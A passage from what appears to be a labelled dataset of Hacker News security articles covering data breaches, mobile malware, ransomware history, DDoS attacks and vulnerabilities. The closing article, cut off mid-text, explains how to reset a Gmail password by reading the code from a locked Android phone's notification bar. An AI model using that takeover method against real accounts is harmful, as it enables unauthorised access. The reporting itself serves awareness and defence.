Coubic — Appointment Scheduling — 1.5 million accounts
The hacker is selling each of the above listed hacked databases individually on Dream Market for a total worth 1.2431 Bitcoin, that's roughly $5,000.

Since the majority of compromised services listed in previous rounds have acknowledged the data breaches, it's likely that the new round of stolen accounts being sold on the underground market is also legit.

At this moment it is unknown that any of the services listed in the fourth round was aware of the data breach of its network and has previously disclosed any security incident.

The Hacker News has reached out the affected companies to inform them about the leak and to learn if they have already warned their users about any security incident related to the breach.

What's next? If you are a user of any of the above-listed services or websites disclosed in the previous three rounds, you should consider changing your passwords and also on other services in the event you re-used the same password.

",Data_Breaches
"Web.com Hacked! Credit Card information of 93,000 Customers Compromised",https://thehackernews.com/2015/08/webcom-hacked-credit-card-stolen.html,"Web.com, a Florida-based web hosting company with up to 3.3 Million customers, has suffered a data breach and may have compromised personal information and credit card data belonging to 93,000 of its clients.

The company on Tuesday confirmed that some unknown hackers had breached one of its computer systems on August 13, 2015, and accessed personal information of nearly 93,000 customers.

Web.com, with the goal to help small businesses succeed online, uncovered the unauthorized activity as part of its ongoing security monitoring and shutdown process.

The stolen information includes:
Credit Card information
Actual Names associated with the payment cards
Residential Addresses

No other information belonging to customers, such as Social Security numbers, Verification Codes for the exposed credit cards, was affected by the data breach, according to the company.
""The security of our customer information is a high priority for Web.com,"" Web.com CEO and Chairman David L. Brown stated in a statement. ""Our goals are simple –to protect our clients from the Internet attacks and, in the event that an attack succeeds, to fix the [issue] immediately.""
However, neither the company mentioned whether the stolen data was encrypted, nor it said how hackers were able to accessed its customers' data.

The company's shares fell 6.7% to $22.17 in after-hours trading Tuesday, due to the data breach incident.

Web.com said it reported the crime to authorities and contacted the law enforcement and a nationally recognized security consulting firm to conduct an investigation into the attack.

The company has also notified its affected customers via email detailing the necessary steps the company is taking. It is also providing Free Credit-Monitoring Protection for one-year to users affected by the breach.

",Data_Breaches
Screenlogger - A keylogger app for Android and iOS Smartphones,https://thehackernews.com/2014/01/screenlogger-keylogger-app-for-android.html,"Are you using a pattern lock for your Smartphone to remain untouched from cyber criminals? But you are not aware that even your swipe gestures can be analyzed by hackers.

Neal Hindocha, a security adviser for the technology company Trustwave, has developed a prototype malware for the Smartphones that works the same as a keylogger software for desktop.

The malware dubbed as 'Screenlogging', is capable of monitoring finger swipes on the screen of your smart devices in combination with taking screenshots to know exactly how the user is interacting with their phone or tablet, reported by Forbes.

The concept used by him is the same that of Keyloggers, a critical type of malware for cyber criminals, which records the input typed into the keyboard and can easily detect passwords for email, social media and of online bank accounts. In the same way the 'Screenlogger' take care of the inputs taped and swiped on the screen. It logs the X and Y coordinates where the user has touched the screen, so a hacker would know what the user is doing and on which application.

Hindocha says, ""If you're monitoring all touch events and the phone hasn't been touched for at least one hour, then you get a minimum of four touch events, you can assume that is a PIN code being entered.""

He also added that ""The more interesting thing is, if you get a screenshot and then overlay the touch events, you're looking at a screenshot of what the user is seeing, combined with dots, sequentially, where the user is touching the screen.""

But the demonstration of Hindocha works only with the administrative privileges of the device i.e. On the jailbroken iOS and the rooted Android devices only. In order to install the malware, the device should be connected to a computer via USB cable. But this limitation don't mean to relax, because there are many similar vectors available to infect the device.

It would be estimated that the malicious version of the Proof-of-Concept app created by Hindocha, which is capable of tracking taps and swipes of the users' Smartphone, a malicious hacker might be able to steal PINs, account numbers, passwords and other sensitive information easily.

Hindocha is planning to demonstrate his 'Screenlogging' malware at the upcoming RSA Security conference next month.

",Malware
Caphaw Banking Malware Distributed via YouTube Ads,https://thehackernews.com/2014/02/caphaw-banking-malware-distributed-via_24.html,"More than one billion of unique visitor spend about 6 billion hours on YouTube to watch videos, according to monthly YouTube Stats. Security researchers from Bromium Labs recently found that YouTube advertising network has been abused by rogue advertisers to distribute malware.

YouTube In-Stream Ads were redirecting users to malicious websites, hosting the 'Styx Exploit Kit' and was exploiting client side vulnerabilities by drive-by-download attack to infect users' computer with Caphaw Banking Trojan.

The Exploitation process relied upon a Java vulnerability (CVE-2013-2460) and after getting dropped into the target computer system, the malware detects the Java version installed on the operating system and based upon it requests the suitable exploit.
""We don't yet know the exact bypass which the attackers used to evade Google's internal advertisement security checks. Google has informed us that they're conducting a full investigation of this abuse and will take appropriate measures."" researchers said.
Further investigation has revealed that the banking malware uses Domain Generation Algorithm (DGA) for communicating with Command and Control server (C&C). The C&C panel of this Trojan seems to be hosted somewhere in Europe and the case is still under investigation. Caphaw Banking Malware has been marked as malicious by a number of anti-virus companies.

How many users had become victim of this attack is yet a question. Google has taken down the malvertisment campaign and is beefing up internal procedures to prevent such events from occurring again.

Oracle has already patched the respective Java vulnerability last year, So users are advised to keep their Java software up-to-date and install latest Security updates of the softwares and operating system.

",Malware
FBI using malware to turn your Android into surveillance device for Spying,https://thehackernews.com/2013/08/Android-hacking-spying-tool-surveillance-FBI-virus-backdoor.html,"It's not the new facts that the FBI has used hacking methods in the past to spy on suspected criminals, including keyloggers and remotely turning on the microphones in mobile phones, in order to spy on suspected criminals.

Computer viruses and spyware are an unavoidable part of life. You can protect against them, but they'll always be out there lurking.
The Wall Street Journal posted the story that FBI agents hacking people's Android devices and personal computers (PCs) using malware, so that they can turn the MIC on and listen in on conversations.

The FBI hires people who have been hacking skill, and they purchase tools that are capable of doing these things, and develop some hacking tools internally or purchases others from the private sector. It's also important to note that the US government is now the world's largest buyer of malware.

The FBI has also developed custom ""port reader"" software to intercept Internet metadata in real time and U.S. government is quietly pressuring telecommunications providers to install eavesdropping technology deep inside companies' internal networks to facilitate surveillance efforts.

The FBI has a history of technology-based surveillance. It also previously asked Internet companies to provide surveillance backdoors, stands to benefit from CISPA, and is also involved in the ongoing PRISM scandal alongside the NSA.

While most of the FBI's intrusion methods are top secret some of their practices have been discovered. The former FBI official who spoke to the Journal, claimed that the method is restricted to those associated with child pornography, organized crime, or counterterrorism.

""The bureau has controls to ensure only ""relevant data"" are scooped up, the person said. A screening team goes through all of the data pulled from the hack to determine what is relevant, then hands off that material to the case team and stops working on the case."" he said.

Once data are collected, the virus sends the information to an independent screening team tasked with removing all irrelevant data swept up by the spyware. Evidence is then handed over to the primary investigators, who use the material to build criminal cases.

Unlike the NSA PRISM program the FBI Android and PC monitoring solutions are only activated with court order on a case-by-case basis. However, trust in the government is quite low these days, so it's unfortunate that most of us will hear this and wonder if the FBI is spying on the rest of us, too.

",Malware
Dutch Hacker Who Almost Broke The Internet Escapes Jail,https://thehackernews.com/2016/11/ddos-internet.html,"The Dutch hacker, who in 2013 was accused of launching the biggest cyberattack to date against the anti-spam group Spamhaus, escaped prison Monday even after he was sentenced to nearly 8 months in jail because most of his term was suspended.

Sven Olaf Kamphuis, 39, was arrested in April 2013 by Spanish authorities in Barcelona based on a European arrest warrant for launching massive distributed denial of service (DDoS) attack against Spamhaus that peaked at over 300 Gbps.

Spamhaus is a non-profit group based in Geneva and London that tracks spam and cyber-related threats, creates blacklists of those sites and then sells them to Internet Service Providers.

However, the DDoS attacks on the company were so sustained that put ""the proper functioning of the Internet at risk and thus the interests of many individuals, businesses and institutions,"" said the court.

Kamphuis was initially sentenced to a total of 240 days, but he has already served 55 days in on remand after his extradition from Spain in 2013 to the Netherlands. Therefore, the judges suspended his remaining 185 days sentence, Dutch news reports.

So, Kamphuis is not going to spend any time behind bars.

Kamphuis was sentenced for not only carrying out DDoS attack against Spamhaus but also its partners in the United States, U.K., and the Netherlands. Besides this, he even hacked into an IP address as well as taking part in a criminal organization.

Kamphuis was eventually extradited to the Netherlands where he was in custody for two months in May 2013.

Kamphuis' lawyers said the British teenager, who used the hacker alias ""Narko,"" was the only one responsible for the attack.

At the time, Spamhaus blamed the Dutch hosting company called CyberBunker for the 2013 DDoS attack, which came just after the company blacklisted CyberBunker.

",Cyber_Attack
Windows Spy tool equipped with Android malware to hack Smartphones,https://thehackernews.com/2014/03/windows-spy-tool-equipped-with-android.html,"I am quite sure that you must be syncing your Smartphone with your Computers for transferring files and taking backup of your device.

If you are using windows operating system and Android devices, then it's a bad news for you, because FireEye Security Researchers have identified a new piece of windows malware that can also infects your Android Devices.

During an investigation of a targeted attack on a US based financial institution, researchers spotted a new version of Windows Remote Access Trojan (RAT) called 'Win-Spy Software Pro v16', a spying and monitoring tool. WinSpy was embedded in macro documents to kick off a spam campaign via a spear phishing email.

""The recent surge in Android-based RATs such as Dendroid and AndroRAT shows a spike in the interest of malicious actors to control mobile devices. GimmeRAT is another startling example of malicious actors venturing into the Android ecosystem,"" security firm said.

The Researchers dubbed the Android spying component pre-loaded with WinSpy as GimmeRat, that allow hackers to control the victims' device by using their own phone remotely over SMSs, or alternatively through a Windows-based controller.

""We also discovered various Android components that can be employed to engage in surveillance of a target."" security firm said in a blog post.
To install the Android malware, WinSpy communicates with mobile devices connected to the infected computer using a command line tool called Android Debug Bridge (ADB), that allows the Windows malware to execute commands on the Android device. ADB is a legitimate tool and part of the official Android software development kit (SDK). If USB debugging Mode is enabled on the device, it initiates the installation process.

The new Android components also smooth the ways for surveillance of the target and there are three different applications that are part of the Android surveillance package.

""We have found three different applications that are a part of the surveillance package. One of the applications requires commandeering via a window controller and requires physical access to the device while the other two applications can be deployed in a client-server model and allow remote access through a second Android device,"" wrote the researchers.

The technique is now new, Similar payload was used by other windows malware called 'Trojan.Droidpak' to infect Android Device, that was discovered by Antivirus firm Symantec in January.

Using Android malware, the attackers could trace victims' GPS location, can take screenshots of victims' devices and could send these data to the remote Command-and-Control servers. Trojan is also perfect in monitoring the device' text messages.

""The hostname, port, username, and password are used to connect to the attackers' FTP server to send screenshots, which is explained, in a later section. Once this intent is received the GlobalService is restarted with the interval parameter.."" FireEye said.

When Windows system infected with WinSpy, an attacker can take screenshots, log keystrokes and even can also use it to open a backdoor for remote commands, upload and download of more files and the execution of remote commands.

With the widespread use of Smartphones, the adoption of the mobile platforms such as Android has been increased, and so the new market of cyber criminals demands for RATs to support these platforms. Such interesting tactics can be used to serve fake Mobile Banking apps.. Fairly evil Ideas!

",Malware
Mac Malware Can Secretly Spy On Your Webcam and Mic – Here's How to Stay Safe,https://thehackernews.com/2016/10/macbook-camera-hacked.html,"Apple Mac Computers are considered to be much safer than Windows at keeping viruses and malware out of its environment, but that's simply not true anymore.

It's not because Mac OS X is getting worse every day, but because hackers are getting smart and sophisticated these days.

The bad news for Mac users is that malware targeting webcams and microphones has now come up for Mac laptops as well.

Patrick Wardle, an ex-NSA staffer who heads up research at security intelligence firm Synack, discovered a way for Mac malware to tap into your live feeds from Mac's built-in webcam and microphone to locally record you even without detection.

Wardle is the same researcher who has discovered a number of security weaknesses in Apple products, including ways to bypass the Gatekeeper protections in OS X.

Wardle also released a free tool called RansomWhere? earlier this year that has generic detection capabilities for Mac OS X ransomware variants.

Wardle is scheduled to present his new findings at the Virus Bulletin conference in Denver later today, along with his research demonstrating how malware could easily piggyback on your legitimate webcam sessions to keep its spying activity hidden.

Yes, piggybacking legitimate webcam sessions initiated by you.

Here's How Mac Malware Works:

Since Mac's firmware-level protection lights the green LED for any unauthorized access to user's webcam, Wardle believes that attackers can use a malicious app that quietly monitors the system for any outgoing feed of an existing webcam session – like a Skype or FaceTime call – where the light indicator would already be ON.

The malware then piggybacks the victim's webcam or microphone to secretly record both audio and video session, without any visible indication of this malicious activity and any fear of detection.

In his paper presentation, titled 'Getting Duped: Piggybacking on Webcam Streams for Surreptitious Recordings,' Wardle outlines the threat along with countermeasures to detect ""secondary"" processes that try to access an existing video session on OS X.

How to Prevent Your WebCam and Mic from Being Hacked
Wardle has developed and released a free tool, dubbed OverSight, which not only monitors webcam and microphone activities but also alerts you when a secondary process accesses your webcam, asking whether you want to allow or block access.

Oversight is a free download from Wardle's website.

Moreover, physically covering your webcam – like what Facebook CEO Mark Zuckerberg and FBI Director James Comey do – also offers a low-tech approach to keeping snoopers away.

",Malware
Everything You Need to Know About Evolving Threat of Ransomware,https://thehackernews.com/2021/02/everything-you-need-to-know-about.html,"The cybersecurity world is constantly evolving to new forms of threats and vulnerabilities. But ransomware proves to be a different animal—most destructive, persistent, notoriously challenging to prevent, and is showing no signs of slowing down.
Falling victim to a ransomware attack can cause significant data loss, data breach, operational downtime, costly recovery, legal consequences, and reputational damage.
In this story, we have covered everything you need to know about ransomware and how it works.
What is ransomware?
Ransomware is a malicious program that gains control over the infected device, encrypts files, and blocks user access to the data or a system until a sum of money, or ransom, is paid.
Crooks' scheme includes a ransom note—with amount and instructions on how to pay a ransom in return for the decryption key—or direct communication with the victim.
While ransomware impacts businesses and institutions of every size and type, attackers often target healthcare, education, IT, government, and finance sectors with deeper pockets—causing damages ranging from hundreds of millions to billions of dollars.
Ransomware attacks started picking up in 2012, and since then, it has become the most pervasive cyber-attacks across the world.
For instance, HelloKitty ransomware hit Polish video game developer CD Projekt Red last week with quite a popular tactic, i.e., attackers threatened the company to leak the source code of games, including Cyberpunk 2077, Witcher 3, Gwent, and along with confidential files in the company.
And it's actually happened! After CD Projekt announced that they would not be paying the ransom, attackers created an auction for the stolen data on a hacker forum.
And it isn't the only example. Ransomware has always been one of the most popular kinds of malicious samples uploaded in malware analysis sandbox ANY.RUN. Over 124,00 interactive sessions with ransomware were analyzed online only in 2020.
From a locker to the enterprise
One of the ways to protect from attacks is awareness. We believe it is a must for enterprise executives and employees to understand this type of threat.
In this article, we'll take a look at the history of ransomware:
The first ransomware
The first known ransomware attack was carried out in 1989 by an AIDS researcher, Joseph Popp, who distributed malicious 20,000 floppy disks to AIDS researchers spanning more than 90 countries, claiming that the disks contained a survey program. Since then, the ransomware threat has evolved a lot and acquired more features.
Locker ransomware
In 2007, Locker ransomware, a new category of ransomware malware, appeared that does not encrypt files; instead, it locks the victim out of their device, preventing them from using it.
Similar to this, WinLock demanded a $10 ransom for the unlocking code. Later, Citadel, Lyposit, and Reveton worm controlled a screen with a fine message from a fake law enforcement agency.
This typically takes the form of locking the computer's or device's user interface and then asking the user to pay a fee to restore access to it.
Scareware
In later years, attackers changed their strategy to capitalize on fear by spreading faking applications and antivirus (AV) programs. The attack involves a pop-up message displayed to victims saying that their computers have been infected with viruses. It lures victims to a website where they're asked for money to pay for software to fix the problem. Everything looked trustworthy: logos, color schemes, and other copyrighted materials.
From that moment, criminals understood that it was much easier to compromise several websites, focus on phishing, and get the whole process automated.
Crypto ransomware
In 2013, CryptoLocker emerged as the first cryptographic malware that typically arrives as an email attachment. The Gameover ZeuS botnet was responsible for these attacks. CryptoLocker encrypts files, and after that, a bitcoin payment was required to unlock them.
If the ransom wasn't received in 3 days, the ransom doubled. CryptorBit, CryptoDefense, CryptoWall, WannaCry enlarged decoy variations and even used system weaknesses to infect computers.
The latest step in that evolution is the arrival of ransomware-as-a-service, which first appeared in 2015 with the Tox toolkit launch. It gave would-be cybercriminals the option to develop custom ransomware tools with advanced evasion capabilities.
Enterprise ransomware
Ransomware attackers leveled up and went to the enterprise stage. They preferred to deal with large organizations and scare them of a possible outbreak.
For example, a target got an email with a threat of distributed denial-of-service (DDoS) attack. To avoid it, victims needed to pay a ransom.
One more case is the data compromise ransom. A criminal threatens a target to exploit compromised information to the public unless a ransom is paid. The following tactic is effective on the enterprise level, as companies don't want to put their reputation at stake.
Now it's clear that malware will continue to evolve. And maybe it will acquire hybrid attacks, including other malware families.
Attack in details
As we now know the history and types of ransomware, now it's time to understand how it works.
Deployment: In the first step, attackers distribute essential components used to infect, encrypt, or lock the system, downloaded without the user's knowledge, using phishing, or after exploiting targeted system flaws.
Installation: When the payload is downloaded, the next step is infection. The malware drops a small file that is often capable of defense evasion. The ransomware executes and attempts to gain persistence on the infected system by putting itself to autorun the registry keys, allowing remote attackers to control the system.
Command-and-Control: The malware then connects to the attackers' command and control (C2) server to receive instructions and, primarily, to deposit the asymmetric private encryption key out of the victim's reach.
Destruction: Once files get encrypted, the malware deletes original copies on the system, and the only way to restore them is to decrypt encoded files.
Extortion: Here come ransom notes. The victim gets to know that his data is compromised. The payment range varies according to the type of target. To confuse and scare a victim, attackers may delete several files from the computer. However, if a user pays the ransom, it isn't a guarantee that the information will be restored or ransomware itself will be deleted.
Popular families and operators
Several types of malware are famous in the ransomware world. Let's look through them and talk about popular operators that stand out in malware history:
1) GandCrab ransomware is one of the most notorious ransomware releases in the last few years that amassed nearly $2 billion in payments from its victims.
Believed to be a product of a Russian hacker group, GandCrab was discovered in 2018 as a part of Ransomware-as-a-Service (RaaS) sold to other cybercriminals.
Though GandCrab announced ""retirement"" in 2019, some researchers claim that it returned with a new strain, called Sodinokibi, with a similar codebase. Sodinokibi targets Microsoft Windows systems and encrypts all files except configuration files.
2) Next, Maze ransomware, which made headlines in the last two years, is known for releasing stolen data to the public if the victim does not pay to decrypt it.
It was the first ransomware attack that combined data encryption with information theft. Moreover, they threatened to make the data public if the ransom was not paid. When the COVID-19 started, Maze announced that they would leave hospitals alone. But later, they broke that promise as well.
In 2020 Maze announced they shut down its operations. But it's more likely that they just moved to another malware.
3) Netwalker used process hollowing and code obfuscation to target corporate victims. But in January 2021, law enforcement agencies teamed up against Netwalker and took over domains in a dark web used by malware actors.
4) Wannacry spreads autonomously from computer to computer using EternalBlue, an exploit supposedly developed by the NSA and then stolen by hackers.
It is the most uploaded type of ransomware in ANY.RUN service in 2020. It hit top malware with 1930 tasks. You can investigate them in the public submission library, search by the ""wannacry"" tag.
5) Avaddon's malspam usually contains the only smiley to lure users into downloading the attachment. The malware also checks the user's locale before infecting. If it is Russian or Cherokee, Avaddon doesn't encrypt systems.
6) Babuk is a new malware targeting enterprises in 2021. Babuk comprises secure encryption that makes it impossible to restore files for free.
Targets of ransomware attacks
There are several reasons attackers first choose what kind of organizations they want to target with ransomware:
Easy to evade defense. Universities, small companies that have small security teams are an easy target. File sharing and an extensive database make the penetration simple for attackers.
Possibility of a quick payment. Some organizations are forced to pay a ransom quickly. Government agencies or medical facilities often need immediate access to their data. Law firms and other organizations with sensitive data usually want to keep a compromise a secret.
And some ransomware spreads automatically, and anyone can become its victim.
The Rapid Growth of Ransomware
The main reason why this type of malware has become successful is the attacks that bring results to cybercriminals. Markets let crooks buy advanced ransomware for making money.
Malware authors provide several ways to pack the ransomware. Malicious software encrypts systems quickly and stealthily. As soon as the ransom is received, it is no challenge to cover the tracks. These points lead to a significant increase.
Now criminals go bald and expect to get hundreds or thousands of dollars as companies don't want to risk data loss and outages.
Ransomware distribution methods
Here are several ways of how ransomware spreads:
Email (spam)
Watering Hole attack
Malvertising
Exploit kits
USB and removable media
Ransomware as a service
Zero days
Ransomware analysis in ANY.RUN
Let's investigate a sample of ransomware together.
Here is a task with Sodinokibi malware. Thanks to ANY.RUN interactivity, we can follow the user's path:
First of all, we wait for the malicious program to finish file-encrypting on the disc. The distinguishable feature of Sodinokibi is the desktop wallpaper with text.
Then we open a text file on the desktop. Yes, we can interact with files and folders in the virtual Machine during the task execution.
There we can see instructions with the URL address. We can copy it and open it in the browser. On the new page, we need to enter the key; each key is unique for every infected Machine.
There is ours in the text file so that we can enter it. And then a page with the sum of the ransom payment appears and a countdown. Finally, we open the file with an image for test decryption and open it.
Prevention measures
2021 started with arrests of ransomware gangs. The Egregor hacker group has been taken down by French and Ukrainian police last week.
That is a good tendency that law enforcement agencies keep defeating malware actors. However, we need to be cautious and try to stop attacks, too.
To protect against ransomware, companies should have an elaborate plan against malware, including backup data. Since ransomware is very difficult to detect and fight, different protection mechanisms should be used.
ANY.RUN is one of them that helps to identify malware early and prevent infections. Besides that, the most important protection is the training of staff. They need to avoid any suspicious links or files. Employees who know that ransomware exists and how it works can detect such attacks.

",Malware
Cloudflare mitigated one of the largest DDoS attack involving 17.2 million rps,https://thehackernews.com/2021/08/cloudflare-mitigated-one-of-largest.html,"Web infrastructure and website security company Cloudflare on Thursday disclosed that it mitigated the largest ever volumetric distributed denial of service (DDoS) attack recorded to date.
The attack, launched via a Mirai botnet, is said to have targeted an unnamed customer in the financial industry last month. ""Within seconds, the botnet bombarded the Cloudflare edge with over 330 million attack requests,"" the company noted, at one point reaching a record high of 17.2 million requests-per-second (rps), making it three times bigger than previously reported HTTP DDoS attacks.
Volumetric DDoS attacks are designed to target a specific network with an intention to overwhelm its bandwidth capacity and often utilize reflective amplification techniques to scale their attack and cause as much operational disruption as possible.
They also typically originate from a network of malware-infected systems — consisting of computers, servers, and IoT devices — enabling threat actors to seize control and co-opt the machines into a botnet capable of generating an influx of junk traffic directed against the victim.
In this specific incident, the traffic originated from more than 20,000 bots in 125 countries worldwide, with almost 15% of the attack originating from Indonesia, followed by India, Brazil, Vietnam, and Ukraine. What's more, the 17.2 million rps alone accounted for 68% of the average rps rate of legitimate HTTP traffic processed by Cloudflare in Q2 2021, which is at 25 million HTTP rps.
This is far from the first time similar attacks have been detected in recent weeks. Cloudflare noted that the same Mirai botnet was used to strike a hosting provider with an HTTP DDoS attack that peaked a little below 8 million rps.
Separately, a Mirai-variant botnet was observed launching over a dozen UDP and TCP-based DDoS attacks that peaked multiple times above 1 Tbps. The company said the unsuccessful attacks were aimed at a gaming company and a major Asia Pacific-based internet services, telecommunications, and hosting provider.
""While the majority of attacks are small and short, we continue to see these types of volumetric attacks emerging more often,"" Cloudflare said. ""It's important to note that these volumetric short burst attacks can be especially dangerous for legacy DDoS protection systems or organizations without active, always-on cloud-based protection.""

",Cyber_Attack
FBI Warning : New Malware attacking Android smartphones,https://thehackernews.com/2012/10/fbi-warning-new-malware-attacking.html,"Users should be aware that Cyber criminals are finding new ways to install malicious software on devices. The latest threat to Android phone users, according to the FBI, is a ""work-at-home opportunity that promises a profitable payday just for sending out email.""

The IC3 has been made aware of various malware attacking Android operating systems for mobile devices. Some of the latest known versions of this type of malware are Loozfon and FinFisher.

Loozfon is an information-stealing piece of malware. Criminals use different variants to lure the victims. One version is a work-at-home opportunity that promises a profitable payday just for sending out email. A link within these advertisements leads to a website that is designed to push Loozfon on the user's device. The malicious application steals contact details from the user's address book and the infected device's phone number.

FinFisher is a spyware capable of taking over the components of a mobile device. When installed the mobile device can be remotely controlled and monitored no matter where the Target is located. FinFisher can be easily transmitted to a Smartphone when the user visits a specific web link or opens a text message masquerading as a system update.

Last week, security experts at McAfee announced that more than 60% of Android malware uses fake premium SMS messages. In their post on this subject, McAfee said, ""Malware authors appear to make lots of money with this type of fraud, so they are determined to continue improving their infrastructure, code, and techniques to try to avoid antivirus software. It's an ongoing struggle, but we are constantly working to keep up with their advances.""

Safety tips from FBI to protect your mobile device:
When purchasing a Smartphone, know the features of the device, including the default settings. Turn off features of the device not needed to minimize the attack surface of the device.
Depending on the type of phone, the operating system may have encryption available. This can be used to protect the user's personal data in the case of loss or theft.
With the growth of the application market for mobile devices, users should look at the reviews of the developer/company who published the application.
Review and understand the permissions you are giving when you download applications.
Passcode protect your mobile device. This is the first layer of physical security to protect the contents of the device. In conjunction with the passcode, enable the screen lock feature after a few minutes of inactivity.
Obtain malware protection for your mobile device. Look for applications that specialize in antivirus or file integrity that helps protect your device from rogue applications and malware.
Be aware of applications that enable Geo-location. The application will track the user's location anywhere. This application can be used for marketing, but can be used by malicious actors raising concerns of assisting a possible stalker and/or burglaries.
Jailbreak or rooting is used to remove certain restrictions imposed by the device manufacturer or cell phone carrier. This allows the user nearly unregulated control over what programs can be installed and how the device can be used. However, this procedure often involves exploiting significant security vulnerabilities and increases the attack surface of the device. Anytime a user, application or service runs in ""unrestricted"" or ""system"" level within an operation system, it allows any compromise to take full control of the device.
Do not allow your device to connect to unknown wireless networks. These networks could be rogue access points that capture information passed between your device and a legitimate server.
If you decide to sell your device or trade it in, make sure you wipe the device (reset it to factory default) to avoid leaving personal data on the device.
Smartphones require updates to run applications and firmware. If users neglect this it increases the risk of having their device hacked or compromised.
Avoid clicking on or otherwise downloading software or links from unknown sources.
Use the same precautions on your mobile phone as you would on your computer when using the Internet.
Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.

",Malware
Update Your Apple Devices to iOS 10.3.1 to Avoid Being Hacked Over Wi-Fi,https://thehackernews.com/2017/04/iphone-ios-update.html,"Note: We have published a follow-up article with more technical details about this vulnerability which resides in Broadcom WiFi SoC equipped not only in Apple devices, but also in Android devices from various manufacturers.

Less than a week after Apple released iOS 10.3 with over 100 bug fixes and security enhancements; the company has just pushed an emergency patch update – iOS 10.3.1 – to addresses a few critical vulnerabilities, one of which could allow hackers to ""execute arbitrary code on the Wi-Fi chip.""

The vulnerability, identified as CVE-2017-6975, was discovered by Google's Project Zero staffer Gal Beniamini, who noted on Twitter that more information about the flaw would be provided tomorrow.

Apple also did not provide any technical details on the flaw, but urged Apple iPhone, iPad and iPod Touch users to update their devices as soon a possible.

In the security note accompanying iOS 10.3.1, Apple describes the issue as a stack buffer overflow vulnerability, which the company addressed by improving the input validation.

A stack buffer overflow flaw occurs when the execution stack grows beyond the memory that is reserved for it, allowing hackers to execute malicious code remotely.

The flaw allows an attacker, within range, to execute malicious code on the phone's Wi-Fi chip.

The vulnerability appears to affect iPhone 5 and later, iPad 4th generation and later, and iPod touch 6th generation, and later devices running the iOS 10.3 operating system.

It's worth mentioning that iPhone 5 and iPhone 5C were Apple's last iPhone handsets to have a 32-bit processor with Apple A6 system on a chip. Since iPhone 5S has a 64-bit processor, it is not affected by the issue.

To know more technical details about the flaw, you are required to wait until tomorrow when Beniamini will release a detailed blog post describing the bug and its impact on Apple users.

With iOS 10.3 release, an over-the-air download for 32-bit Apple devices wasn't available. This has also being changed with iOS 10.3.1 update, which brings back support for iPhone 5 and 5C as well as the fourth-generation iPad -- the only remaining 32-bit Apple devices.

The iOS 10.3.1 update can be downloaded over-the-air via Settings → General → Software Update on your iOS device.

Apple users running iOS 10.3 should be able to see the iOS 10.3.1 update, so press on the ""Download and Install"" button to install the update.

",Vulnerability
FreeFloat FTP Server - Buffer Overflow Vulnerability,https://thehackernews.com/2011/11/freefloat-ftp-server-buffer-overflow.html,"FreeFloat FTP Server - Buffer Overflow Vulnerability


Ashfaq Ansari Reported FreeFloat FTP Server - Buffer Overflow Vulnerability. In computer security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, whilewriting data to a buffer, overruns the buffer's boundary and overwrites adjacent memory. This is a special case ofviolation of memory safety.Buffer overflows can be triggered by inputs that are designed to execute code, or alter the way the program operates.This may result in erratic program behavior, including memory access errors, incorrect results, a crash, or a breach ofsystem security.

This Exploit helps to gain remote access on FreeFloat FTP using FEAT command. Download Proof of Concept from Here and Exploit is Available here.
[Source]

",Vulnerability
Session Race Conditions and Session Puzzling – Now Simplified,https://thehackernews.com/2011/09/session-race-conditions-and-session.html,"Session Race Conditions and Session Puzzling – Now Simplified
A few months ago Shay Chen, Senior Manager at Hacktics Advanced Security Center (HASC) published a paper about Session Puzzling, a new application level attack vector of critical severity and numerous uses, but for some bizarre reasons, most of the responses I got was that the attack was too complicated to comprehend all it once.

Temporal Session Race Conditions (TSRC) is yet another a new application level vulnerability (presented in September 15, 2011, in local OWASP chapter meeting) that extends the capabilities of session puzzling, enables the exploitation of race conditions without latency and provides a new purpose for application denial of service attack.

The attack generally extends the lifespan of temporary session variables (session calculations and assignments with a lifespan of milliseconds) by increasing the latency of the following lines of code through the use of specific layer targeted denial of service attacks.

This time Shay Chen have created several demonstration movies in order to properly explain the exposures (The new TSRC exposure and Session Puzzling), and in addition, published a presentation, a test assisting tool and a new version of the training kit.

The demonstration movies, presentation can be found in the puzzlemall project homepage, and there's a post in his blog that explains the whole subject:

The project home page (presentation, whitepaper, training kit)

The following movies demonstrate a few simple TSRC attacks:

Exploiting Temporal Session Race Conditions via Connection Pool Consumption
Exploiting Temporal Session Race Conditions via RegEx DoS

The following short movies demonstrate a few simple session puzzling sequences

Authentication Bypass via Session Puzzling (Abusing common session variables)
User Impersonation via Session Puzzling (Abusing common session variables)
Session Puzzling via Redirection Prevention (Abusing Premature Session Population)
Bypassing Restrictions in Multiphase Processes via Session Puzzling (Abusing Common Session Flags)

",Vulnerability
Hacking Google account through Locked Android Devices,https://thehackernews.com/2013/07/hacking-google-account-through-locked.html,"Google being one of the top web based service provider, has huge number of Internet users availing the free and paid services for their day-to-day personal and/or professional needs. Many of them have configured their mobile phone number for their account password recovery options. Certainly, when comes the mobility, many of these users prefer Google's android based smart phones and tablets to access these services anytime, anywhere.

In case of issues in accessing GMAIL services, user is been provided with the option to reset the account password by simply asking Google to send a verification code on the pre-registered mobile number.

On the other hand, Android (mobile operating system from Google) based devices are bundled with security features to keep the privacy of user data/information intact. The user can opt to set the security level from none to Password (High), this ensures that, to access the mobile device and information within it, the user needs to pass through the required security validation, kind of authentication.
However, the issue described here, does not need you to punch-in any type of security code or pattern to read the arrived SMS content and thus facilitate in compromising the Google account configured to use the said mobile phone.

The issue has been identified/reported by the RnD Lab at Varutra Consulting. Varutra consulting is an information security consulting and training services company based out of Pune, India founded by Mr. Kishor Sonawane.

Lets have a look at the two different issues and how to use them for hacking a Gmail account. The first issue is discussed below,

1. Android phones/tablets SMS functioning: In case of forgotten password, User needs to go to ""can't access your account?"" link and make a choice from various recovery options to reset the account password. In this case, the user selects to receive a text message with a verification code on her pre-configured mobile number.
Once the verification code is sent on the mobile number, Google prompts user to enter the code.
As Discussed earlier below are the screen lock options on an android phone (from 3-5). If user selects to configure any one from option 3-5, he/she needs to feed-in the same for accessing the device and information;
None
Swipe
Pattern
PIN
Password
Now, consider the phone screen is locked with desired option and mobile phone receives the verification code. In normal circumstances, user needs to pass through the security control to read the verification code and in turn, to reset the Google account password. But, the flaw, we are discussing here, allows SMS content (verification code, in our case) to be displayed on the one line notification panel at the top of the mobile display even if the Mobile phone is in security lock mode, which can be read by anyone.

This means as soon phone received verification code from GMAIL server it is getting displayed in a readable format to anyone who is having access to the phone or at least at such a distance where he/she can see the screen of a locked phone.

How difficult for you to read a one line SMS displaying on your friend/colleagues LOCKED phone?

